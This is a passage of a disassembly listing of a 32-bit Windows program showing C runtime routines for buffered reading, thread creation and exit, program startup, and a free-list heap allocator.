		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_C]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		mul	[ebp+arg_8]
		mov	esi, eax
		test	eax, eax
		jz	loc_407864
		cmp	[ebp+arg_4], 0
		jnz	loc_40783A
		mov	eax, [ebp+arg_8]
		jmp	loc_407864
; ---------------------------------------------------------------------------


loc_407794:				; CODE XREF: sub_407760+DCj
		mov	eax, [ebx+18h]
		cmp	eax, [ebx+10h]
		ja	short loc_4077AB
		push	ebx
		call	sub_408EA0
		pop	ecx
		test	eax, eax
		jl	loc_407842


loc_4077AB:				; CODE XREF: sub_407760+3Aj
		test	word ptr [ebx],	400h
		jz	short loc_4077C6
		push	esi
		push	0Ah
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_408FA0
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		jmp	short loc_4077CD
; ---------------------------------------------------------------------------


loc_4077C6:				; CODE XREF: sub_407760+50j
		mov	[ebp+var_10], 0


loc_4077CD:				; CODE XREF: sub_407760+64j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		test	eax, eax
		jz	short loc_4077E5
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]
		sub	eax, edx
		inc	eax
		mov	[ebp+var_14], eax
		jmp	short loc_4077E8
; ---------------------------------------------------------------------------


loc_4077E5:				; CODE XREF: sub_407760+75j
		mov	[ebp+var_14], esi


loc_4077E8:				; CODE XREF: sub_407760+83j
		mov	edi, [ebp+var_14]
		mov	eax, [ebx+18h]
		mov	edx, [ebx+10h]
		sub	eax, edx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], edi
		jnb	short loc_407805
		mov	[ebp+var_8], 0
		mov	edi, [ebp+var_C]


loc_407805:				; CODE XREF: sub_407760+99j
		push	edi
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebx+10h]
		push	eax
		call	sub_407630
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		add	eax, edi
		mov	[ebp+var_4], eax
		sub	esi, edi
		lea	eax, [ebx+10h]
		mov	edx, [eax]
		add	edx, edi
		mov	[eax], edx
		cmp	[ebp+var_8], 0
		jz	short loc_40783A
		push	ebx
		call	sub_408CA0
		pop	ecx
		test	eax, eax
		jnz	short loc_407842


loc_40783A:				; CODE XREF: sub_407760+26j
					; sub_407760+CDj
		test	esi, esi
		jnz	loc_407794


loc_407842:				; CODE XREF: sub_407760+45j
					; sub_407760+D8j
		test	word ptr [ebx],	800h
		jz	short loc_407850
		push	ebx
		call	sub_408CA0
		pop	ecx


loc_407850:				; CODE XREF: sub_407760+E7j
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mul	[ebp+arg_8]
		sub	eax, esi
		mov	edx, [ebp+var_8]
		mov	ecx, edx
		xor	edx, edx
		div	ecx


loc_407864:				; CODE XREF: sub_407760+1Cj
					; sub_407760+2Fj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_407760	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407870	proc near		; DATA XREF: sub_407910+2Do
					; sub_448891+2Do

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F894
		push	offset sub_4083B8
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		push	ebx
		mov	eax, dword_411770
		push	eax
		call	dword_411D98	; TlsSetValue
		test	eax, eax
		jnz	short loc_4078B2
		push	1
		call	sub_409190
		pop	ecx


loc_4078B2:				; CODE XREF: sub_407870+38j
		mov	[ebp+var_4], 0
		mov	eax, [ebx+44h]
		push	eax
		call	dword ptr [ebx+40h]
		pop	ecx
		call	sub_4079A0
		jmp	short loc_4078F0
; ---------------------------------------------------------------------------
		mov	eax, [ebp+var_14]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_4091A0
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_409190
		pop	ecx


loc_4078F0:				; CODE XREF: sub_407870+56j
		or	[ebp+var_4], 0FFFFFFFFh
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_407870	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407910	proc near		; CODE XREF: sub_403C3F+366p
					; sub_40400E+14p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	48h
		call	sub_4081A0
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jz	short loc_40797F
		push	ebx
		call	sub_409060
		pop	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebx+40h], eax
		mov	eax, [ebp+arg_8]
		mov	[ebx+44h], eax
		push	ebx
		push	4
		push	ebx
		push	offset sub_407870
		mov	eax, [ebp+arg_4]
		push	eax
		push	0
		call	dword_411D9C	; CreateThread
		mov	edi, eax
		mov	[ebx+4], eax
		test	eax, eax
		jnz	short loc_407961
		call	dword_411CE8	; RtlGetLastWin32Error
		mov	esi, eax
		jmp	short loc_40797F
; ---------------------------------------------------------------------------


loc_407961:				; CODE XREF: sub_407910+45j
		mov	eax, edi
		push	eax
		call	dword_411DA0	; ResumeThread
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40797B
		call	dword_411CE8	; RtlGetLastWin32Error
		mov	esi, eax
		jmp	short loc_40797F
; ---------------------------------------------------------------------------


loc_40797B:				; CODE XREF: sub_407910+5Fj
		mov	eax, edi
		jmp	short loc_407994
; ---------------------------------------------------------------------------


loc_40797F:				; CODE XREF: sub_407910+14j
					; sub_407910+4Fj ...
		push	ebx
		call	sub_4070F0
		pop	ecx
		test	esi, esi
		jz	short loc_407991
		push	esi
		call	sub_408240
		pop	ecx


loc_407991:				; CODE XREF: sub_407910+78j
		or	eax, 0FFFFFFFFh


loc_407994:				; CODE XREF: sub_407910+6Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_407910	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4079A0	proc near		; CODE XREF: sub_40399A+1D7p
					; sub_403C3F+39Fp ...
		push	ebx
		call	sub_409090
		mov	ebx, eax
		test	eax, eax
		jnz	short loc_4079B4
		push	1
		call	sub_409190
		pop	ecx


loc_4079B4:				; CODE XREF: sub_4079A0+Aj
		cmp	dword ptr [ebx+4], 0FFFFFFFFh
		jz	short loc_4079C7
		mov	eax, [ebx+4]
		push	eax
		call	dword_411CF8	; CloseHandle


loc_4079C7:				; CODE XREF: sub_4079A0+1Bj
		push	ebx
		call	sub_409100
		pop	ecx
		push	0
		call	dword_411DA4	; ExitThread
		pop	ebx
		retn
sub_4079A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4079E0	proc near		; CODE XREF: sub_405870+DAp
					; sub_405870+F1p ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00407A66 SIZE 0000001B BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F8A0
		push	offset sub_4083B8
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	2
		call	sub_408740
		pop	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_407A2C
; ---------------------------------------------------------------------------


loc_407A17:				; CODE XREF: sub_4079E0+53j
		mov	eax, dword_4111A0
		lea	edx, [eax+1]
		mov	dword_4111A0, edx
		call	dword_411060[eax*4]


loc_407A2C:				; CODE XREF: sub_4079E0+35j
		cmp	dword_4111A0, 50h
		jb	short loc_407A17
		jmp	short loc_407A49
; ---------------------------------------------------------------------------


loc_407A37:				; CODE XREF: sub_4079E0+70j
		mov	eax, dword_4111A4
		dec	eax
		mov	dword_4111A4, eax
		call	dword_411060[eax*4]


loc_407A49:				; CODE XREF: sub_4079E0+55j
		cmp	dword_4111A4, 0
		jnz	short loc_407A37
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_407A5D
		jmp	short loc_407A66
sub_4079E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_407A5D	proc near		; CODE XREF: sub_4079E0+76p
					; DATA XREF: DMN0:0040F8A8o
		push	2
		call	sub_4087C0
		pop	ecx
		retn
sub_407A5D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4079E0


loc_407A66:				; CODE XREF: sub_4079E0+7Bj
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_409190
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_4079E0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_407A90	proc near		; CODE XREF: sub_406485+1AAp
					; sub_406485+1D9p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_409210
		pop	ecx
		retn
sub_407A90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407AA0	proc near		; DATA XREF: DMN1:00469EA2o starto

var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_30		= dword	ptr -30h
var_2C		= word ptr -2Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F8AC
		push	offset sub_4083B8
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 50h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	2000000h
		call	sub_40AE30
		pop	ecx
		mov	dword_4117DC, eax
		call	sub_4085B0
		test	eax, eax
		jnz	short loc_407AE7
		push	1
		call	sub_409190
		pop	ecx


loc_407AE7:				; CODE XREF: sub_407AA0+3Dj
		call	sub_408FD0
		test	eax, eax
		jnz	short loc_407AF8
		push	1
		call	sub_409190
		pop	ecx


loc_407AF8:				; CODE XREF: sub_407AA0+4Ej
		mov	[ebp+var_4], 0
		call	sub_409240
		call	sub_4092A0
		call	sub_409710
		call	sub_4097B0
		mov	esi, offset dword_4101AC
		jmp	short loc_407B1F
; ---------------------------------------------------------------------------


loc_407B1A:				; CODE XREF: sub_407AA0+85j
		call	dword ptr [esi]
		add	esi, 4


loc_407B1F:				; CODE XREF: sub_407AA0+78j
		cmp	esi, offset dword_4101AC
		jb	short loc_407B1A
		mov	[ebp+var_30], 0
		lea	eax, [ebp+var_5C]
		push	eax
		call	dword_411DA8	; GetStartupInfoA
		push	0
		call	dword_411D6C	; GetModuleHandleA
		mov	[ebp+var_60], eax
		call	sub_409870
		test	byte ptr [ebp+var_30], 1
		jz	short loc_407B54
		movzx	esi, [ebp+var_2C]
		jmp	short loc_407B59
; ---------------------------------------------------------------------------


loc_407B54:				; CODE XREF: sub_407AA0+ACj
		mov	esi, 0Ah


loc_407B59:				; CODE XREF: sub_407AA0+B2j
		push	esi
		push	eax
		push	0
		mov	eax, [ebp+var_60]
		push	eax
		call	sub_406C89
		mov	ebx, eax
		mov	edi, offset dword_4101AC
		jmp	short loc_407B74
; ---------------------------------------------------------------------------


loc_407B6F:				; CODE XREF: sub_407AA0+DAj
		call	dword ptr [edi]
		add	edi, 4


loc_407B74:				; CODE XREF: sub_407AA0+CDj
		cmp	edi, offset dword_4101AC
		jb	short loc_407B6F
		push	ebx
		call	sub_4079E0
		pop	ecx
		jmp	short loc_407BAD
; ---------------------------------------------------------------------------
		mov	eax, [ebp+var_14]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_4091A0
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_409190
		pop	ecx


loc_407BAD:				; CODE XREF: sub_407AA0+E3j
		or	[ebp+var_4], 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_407AA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407BD0	proc near		; CODE XREF: sub_407E60+ECp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		add	eax, 3
		shr	eax, 0Eh
		shl	eax, 0Eh
		lea	esi, [eax+4000h]
		mov	edi, esi
		shl	edi, 2
		push	edi
		call	sub_4098B0
		pop	ecx
		mov	[ebp+var_8], eax
		test	eax, eax
		jnz	short loc_407C0F
		mov	dword_4117E0, 0
		xor	eax, eax
		jmp	loc_407E4D
; ---------------------------------------------------------------------------


loc_407C0F:				; CODE XREF: sub_407BD0+2Cj
		mov	eax, dword_4127EC
		mov	edx, dword_4127E8
		add	eax, edx
		cmp	eax, [ebp+var_8]
		jnz	short loc_407C35
		mov	ebx, dword_4127E8
		mov	eax, dword_4127EC
		add	edi, eax
		mov	esi, edi
		shr	esi, 2
		jmp	short loc_407C42
; ---------------------------------------------------------------------------


loc_407C35:				; CODE XREF: sub_407BD0+4Fj
		mov	eax, [ebp+var_8]
		mov	ebx, eax
		mov	edx, ebx
		sub	edx, eax
		mov	eax, edx
		sub	edi, eax


loc_407C42:				; CODE XREF: sub_407BD0+63j
		mov	eax, esi
		shl	eax, 2
		lea	edx, [ebx+eax]
		mov	dword_4127E8, edx
		mov	edx, edi
		sub	edx, eax
		mov	eax, edx
		mov	dword_4127EC, eax
		mov	eax, dword_4111CC
		add	eax, 4
		cmp	ebx, eax
		jnz	short loc_407C74
		cmp	dword_4111D4, 0
		jnz	loc_407DE6


loc_407C74:				; CODE XREF: sub_407BD0+95j
		mov	eax, dword_4111D4
		mov	[ebp+var_C], eax
		mov	dword_4111D4, ebx
		mov	eax, [ebp+var_C]
		mov	[ebx], eax
		add	ebx, 4
		dec	esi
		mov	dword_4111CC, ebx
		mov	eax, dword_4111D0
		test	eax, eax
		jz	short loc_407C9E
		cmp	eax, ebx
		jbe	short loc_407CA4


loc_407C9E:				; CODE XREF: sub_407BD0+C8j
		mov	dword_4111D0, ebx


loc_407CA4:				; CODE XREF: sub_407BD0+CCj
		mov	eax, esi
		or	eax, 80000000h
		mov	[ebx], eax
		mov	eax, dword_4111CC
		lea	eax, [eax+esi*4-4]
		mov	dword_4111CC, eax
		mov	edx, dword_4111CC
		mov	eax, esi
		or	eax, 80000000h
		mov	[edx], eax
		sub	esi, 2
		add	ebx, 4
		mov	eax, dword_4111CC
		lea	ebx, [eax-4]
		cmp	esi, dword_4111E4
		ja	short loc_407D12
		cmp	esi, dword_4111DC
		ja	short loc_407CFA
		mov	eax, dword_4111D8
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		mov	[ebp+var_10], eax
		jmp	short loc_407D0D
; ---------------------------------------------------------------------------


loc_407CFA:				; CODE XREF: sub_407BD0+116j
		mov	eax, dword_4111E0
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		add	eax, 2
		mov	[ebp+var_10], eax


loc_407D0D:				; CODE XREF: sub_407BD0+128j
		mov	eax, [ebp+var_10]
		jmp	short loc_407D42
; ---------------------------------------------------------------------------


loc_407D12:				; CODE XREF: sub_407BD0+10Ej
		cmp	esi, dword_4111EC
		ja	short loc_407D2F
		mov	eax, dword_4111E8
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		add	eax, 4
		mov	[ebp+var_10], eax
		jmp	short loc_407D42
; ---------------------------------------------------------------------------


loc_407D2F:				; CODE XREF: sub_407BD0+148j
		mov	eax, dword_4111F0
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		add	eax, 6
		mov	[ebp+var_10], eax


loc_407D42:				; CODE XREF: sub_407BD0+140j
					; sub_407BD0+15Dj
		mov	eax, [ebp+var_10]
		mov	dword_4111FC, eax
		mov	eax, dword_4111FC
		mov	eax, dword_4111A8[eax*4]
		mov	[ebp+var_18], eax
		test	eax, eax
		jnz	short loc_407D88
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], ebx
		mov	eax, dword_4111FC
		mov	dword_4111A8[eax*4], ebx
		mov	eax, dword_4111FC
		cmp	dword_4111F8, eax
		jle	short loc_407D91
		mov	eax, dword_4111FC
		mov	dword_4111F8, eax
		jmp	short loc_407D91
; ---------------------------------------------------------------------------


loc_407D88:				; CODE XREF: sub_407BD0+18Bj
		mov	eax, [ebp+var_18]
		mov	eax, [eax-8]
		mov	[ebp+var_14], eax


loc_407D91:				; CODE XREF: sub_407BD0+1AAj
					; sub_407BD0+1B6j
		mov	eax, [ebp+var_18]
		mov	[ebx-4], eax
		mov	edx, [ebp+var_18]
		mov	[edx-8], ebx
		mov	edx, [ebp+var_14]
		mov	[edx-4], ebx
		mov	eax, [ebp+var_14]
		mov	[ebx-8], eax
		mov	eax, esi
		shl	eax, 2
		mov	edx, ebx
		sub	edx, eax
		mov	[edx+4], esi
		mov	[ebx], esi
		mov	eax, dword_4111FC
		mov	dword_4111A8[eax*4], ebx
		jmp	short loc_407DCB
; ---------------------------------------------------------------------------


loc_407DC5:				; CODE XREF: sub_407BD0+20Dj
		inc	dword_4111F8


loc_407DCB:				; CODE XREF: sub_407BD0+1F3j
		mov	eax, dword_4111F8
		cmp	dword_4111A8[eax*4], 0
		jnz	short loc_407DDF
		cmp	eax, 7
		jl	short loc_407DC5


loc_407DDF:				; CODE XREF: sub_407BD0+208j
		mov	eax, 1
		jmp	short loc_407E4D
; ---------------------------------------------------------------------------


loc_407DE6:				; CODE XREF: sub_407BD0+9Ej
		add	ebx, 0FFFFFFFCh
		mov	eax, [ebx]
		and	eax, 7FFFFFFFh
		add	eax, esi
		mov	[ebp+var_4], eax
		mov	eax, esi
		or	eax, 80000000h
		mov	[ebx], eax
		mov	eax, dword_4111CC
		lea	eax, [eax+esi*4]
		mov	dword_4111CC, eax
		mov	edx, dword_4111CC
		mov	eax, [ebx]
		mov	[edx-4], eax
		mov	edx, dword_4111CC
		mov	eax, [ebp+var_4]
		or	eax, 80000000h
		mov	[edx], eax
		mov	eax, [ebp+var_4]
		mov	edx, dword_4111CC
		mov	ecx, eax
		shl	ecx, 2
		sub	edx, ecx
		or	eax, 80000000h
		mov	[edx+4], eax
		lea	eax, [ebx+4]
		push	eax
		call	sub_4070F0
		pop	ecx
		mov	eax, 1


loc_407E4D:				; CODE XREF: sub_407BD0+3Aj
					; sub_407BD0+214j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_407BD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407E60	proc near		; CODE XREF: sub_4081A0+4Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	eax, [ebp+arg_0]
		add	eax, 3
		shr	eax, 2
		lea	esi, [eax+2]
		cmp	esi, 4
		jnb	short loc_407E81
		mov	esi, 4


loc_407E81:				; CODE XREF: sub_407E60+1Aj
		xor	edi, edi
		cmp	esi, dword_4111E4
		ja	short loc_407EBD
		cmp	esi, dword_4111DC
		ja	short loc_407EA5
		mov	eax, dword_4111D8
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		mov	[ebp+var_10], eax
		jmp	short loc_407EB8
; ---------------------------------------------------------------------------


loc_407EA5:				; CODE XREF: sub_407E60+31j
		mov	eax, dword_4111E0
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		add	eax, 2
		mov	[ebp+var_10], eax


loc_407EB8:				; CODE XREF: sub_407E60+43j
		mov	eax, [ebp+var_10]
		jmp	short loc_407EED
; ---------------------------------------------------------------------------


loc_407EBD:				; CODE XREF: sub_407E60+29j
		cmp	esi, dword_4111EC
		ja	short loc_407EDA
		mov	eax, dword_4111E8
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		add	eax, 4
		mov	[ebp+var_10], eax
		jmp	short loc_407EED
; ---------------------------------------------------------------------------


loc_407EDA:				; CODE XREF: sub_407E60+63j
		mov	eax, dword_4111F0
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		add	eax, 6
		mov	[ebp+var_10], eax


loc_407EED:				; CODE XREF: sub_407E60+5Bj
					; sub_407E60+78j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, dword_4111F8
		cmp	[ebp+var_C], eax
		jge	short loc_407F3D
		mov	eax, dword_4111F8
		mov	[ebp+var_C], eax
		jmp	short loc_407F3D
; ---------------------------------------------------------------------------


loc_407F07:				; CODE XREF: sub_407E60+E5j
		mov	eax, [ebp+var_C]
		lea	edx, [eax+1]
		mov	[ebp+var_C], edx
		mov	eax, dword_4111A8[eax*4]
		mov	ebx, eax
		test	eax, eax
		jz	short loc_407F3D
		mov	eax, dword_4111CC
		add	eax, 0FFFFFFFCh
		cmp	ebx, eax
		jnz	short loc_407F2C
		mov	ebx, [ebx-4]


loc_407F2C:				; CODE XREF: sub_407E60+C7j
		mov	[ebp+var_4], ebx


loc_407F2F:				; CODE XREF: sub_407E60+DBj
		mov	edi, [ebx]
		cmp	edi, esi
		jnb	short loc_407F3D
		mov	ebx, [ebx-4]
		cmp	ebx, [ebp+var_4]
		jnz	short loc_407F2F


loc_407F3D:				; CODE XREF: sub_407E60+9Bj
					; sub_407E60+A5j ...
		cmp	edi, esi
		jnb	short loc_407F47
		cmp	[ebp+var_C], 8
		jl	short loc_407F07


loc_407F47:				; CODE XREF: sub_407E60+DFj
		cmp	edi, esi
		jnb	short loc_407F6D
		push	esi
		call	sub_407BD0
		pop	ecx
		test	eax, eax
		jz	loc_408197
		mov	eax, dword_4111FC
		mov	[ebp+var_C], eax
		mov	ebx, dword_4111A8[eax*4]
		mov	edi, [ebx]
		jmp	short loc_407F76
; ---------------------------------------------------------------------------


loc_407F6D:				; CODE XREF: sub_407E60+E9j
		cmp	[ebp+var_C], 0
		jle	short loc_407F76
		dec	[ebp+var_C]


loc_407F76:				; CODE XREF: sub_407E60+10Bj
					; sub_407E60+111j
		mov	eax, edi
		sub	eax, esi
		mov	[ebp+var_14], eax
		cmp	eax, 4
		jb	loc_4080FF
		mov	eax, dword_4111E4
		cmp	[ebp+var_14], eax
		ja	short loc_407FC6
		mov	eax, dword_4111DC
		cmp	[ebp+var_14], eax
		ja	short loc_407FAD
		mov	eax, dword_4111D8
		cmp	[ebp+var_14], eax
		setnbe	al
		and	eax, 1
		mov	[ebp+var_1C], eax
		jmp	short loc_407FC1
; ---------------------------------------------------------------------------


loc_407FAD:				; CODE XREF: sub_407E60+138j
		mov	eax, dword_4111E0
		cmp	[ebp+var_14], eax
		setnbe	al
		and	eax, 1
		add	eax, 2
		mov	[ebp+var_1C], eax


loc_407FC1:				; CODE XREF: sub_407E60+14Bj
		mov	eax, [ebp+var_1C]
		jmp	short loc_407FFA
; ---------------------------------------------------------------------------


loc_407FC6:				; CODE XREF: sub_407E60+12Ej
		mov	eax, dword_4111EC
		cmp	[ebp+var_14], eax
		ja	short loc_407FE6
		mov	eax, dword_4111E8
		cmp	[ebp+var_14], eax
		setnbe	al
		and	eax, 1
		add	eax, 4
		mov	[ebp+var_1C], eax
		jmp	short loc_407FFA
; ---------------------------------------------------------------------------


loc_407FE6:				; CODE XREF: sub_407E60+16Ej
		mov	eax, dword_4111F0
		cmp	[ebp+var_14], eax
		setnbe	al
		and	eax, 1
		add	eax, 6
		mov	[ebp+var_1C], eax


loc_407FFA:				; CODE XREF: sub_407E60+164j
					; sub_407E60+184j
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_C]
		cmp	[ebp+var_18], eax
		jz	loc_4080EC
		mov	eax, [ebx-4]
		mov	[ebp+var_20], eax
		cmp	ebx, [ebp+var_20]
		jnz	short loc_40804E
		mov	eax, [ebp+var_C]
		mov	dword_4111A8[eax*4], 0
		mov	eax, [ebp+var_C]
		cmp	dword_4111F8, eax
		jnz	short loc_40807F
		jmp	short loc_408038
; ---------------------------------------------------------------------------


loc_408032:				; CODE XREF: sub_407E60+1EAj
		inc	dword_4111F8


loc_408038:				; CODE XREF: sub_407E60+1D0j
		mov	eax, dword_4111F8
		cmp	dword_4111A8[eax*4], 0
		jnz	short loc_40804C
		cmp	eax, 7
		jl	short loc_408032


loc_40804C:				; CODE XREF: sub_407E60+1E5j
		jmp	short loc_40807F
; ---------------------------------------------------------------------------


loc_40804E:				; CODE XREF: sub_407E60+1B5j
		mov	eax, [ebx-8]
		mov	[ebp+var_24], eax
		mov	edx, [ebp+var_24]
		mov	eax, [ebp+var_20]
		mov	[edx-4], eax
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_24]
		mov	[edx-8], eax
		mov	eax, [ebp+var_C]
		cmp	ebx, dword_4111A8[eax*4]
		jnz	short loc_40807F
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_24]
		mov	dword_4111A8[eax*4], edx


loc_40807F:				; CODE XREF: sub_407E60+1CEj
					; sub_407E60:loc_40804Cj ...
		mov	eax, [ebp+var_18]
		mov	eax, dword_4111A8[eax*4]
		mov	[ebp+var_24], eax
		test	eax, eax
		jnz	short loc_4080B5
		mov	[ebp+var_20], ebx
		mov	[ebp+var_24], ebx
		mov	eax, [ebp+var_18]
		mov	dword_4111A8[eax*4], ebx
		mov	eax, [ebp+var_18]
		cmp	dword_4111F8, eax
		jle	short loc_4080BE
		mov	eax, [ebp+var_18]
		mov	dword_4111F8, eax
		jmp	short loc_4080BE
; ---------------------------------------------------------------------------


loc_4080B5:				; CODE XREF: sub_407E60+22Ej
		mov	eax, [ebp+var_24]
		mov	eax, [eax-8]
		mov	[ebp+var_20], eax


loc_4080BE:				; CODE XREF: sub_407E60+249j
					; sub_407E60+253j
		mov	eax, [ebp+var_24]
		mov	[ebx-4], eax
		mov	edx, [ebp+var_24]
		mov	[edx-8], ebx
		mov	edx, [ebp+var_20]
		mov	[edx-4], ebx
		mov	eax, [ebp+var_20]
		mov	[ebx-8], eax
		mov	eax, [ebp+var_14]
		mov	edx, eax
		shl	edx, 2
		mov	ecx, ebx
		sub	ecx, edx
		mov	[ecx+4], eax
		mov	[ebx], eax
		jmp	loc_408174
; ---------------------------------------------------------------------------


loc_4080EC:				; CODE XREF: sub_407E60+1A6j
		mov	eax, [ebp+var_14]
		mov	edx, eax
		shl	edx, 2
		mov	ecx, ebx
		sub	ecx, edx
		mov	[ecx+4], eax
		mov	[ebx], eax
		jmp	short loc_408174
; ---------------------------------------------------------------------------


loc_4080FF:				; CODE XREF: sub_407E60+120j
		mov	eax, [ebx-4]
		mov	[ebp+var_1C], eax
		cmp	ebx, [ebp+var_1C]
		jnz	short loc_408141
		mov	eax, [ebp+var_C]
		mov	dword_4111A8[eax*4], 0
		mov	eax, [ebp+var_C]
		cmp	dword_4111F8, eax
		jnz	short loc_408172
		jmp	short loc_40812B
; ---------------------------------------------------------------------------


loc_408125:				; CODE XREF: sub_407E60+2DDj
		inc	dword_4111F8


loc_40812B:				; CODE XREF: sub_407E60+2C3j
		mov	eax, dword_4111F8
		cmp	dword_4111A8[eax*4], 0
		jnz	short loc_40813F
		cmp	eax, 7
		jl	short loc_408125


loc_40813F:				; CODE XREF: sub_407E60+2D8j
		jmp	short loc_408172
; ---------------------------------------------------------------------------


loc_408141:				; CODE XREF: sub_407E60+2A8j
		mov	eax, [ebx-8]
		mov	[ebp+var_20], eax
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_1C]
		mov	[edx-4], eax
		mov	edx, [ebp+var_1C]
		mov	eax, [ebp+var_20]
		mov	[edx-8], eax
		mov	eax, [ebp+var_C]
		cmp	ebx, dword_4111A8[eax*4]
		jnz	short loc_408172
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_20]
		mov	dword_4111A8[eax*4], edx


loc_408172:				; CODE XREF: sub_407E60+2C1j
